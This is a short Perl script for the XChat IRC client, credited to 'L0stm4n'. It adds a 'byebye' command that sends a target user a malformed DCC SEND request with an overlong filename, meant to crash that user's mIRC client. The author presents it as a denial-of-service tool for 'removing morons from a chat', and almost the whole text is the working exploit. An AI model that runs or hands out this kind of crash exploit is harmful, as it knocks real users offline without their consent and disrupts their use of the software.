#!/usr/bin/perl -w # by L0stm4n <lostman[at]liquidcode.org # DoS for mirc packaged in a nice xchat script # Useful for removing morons from a chat IRC::register("mirc exploit", "1.0", "", ""); IRC::print("\0034mirc exploit loaded \003"); IRC::add_command_handler("byebye", "killem"); sub killem { $killee = shift(@_); IRC::send_raw("PRIVMSG $killee :\01DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a\" 1079095848 666\01"); return 1; } 0;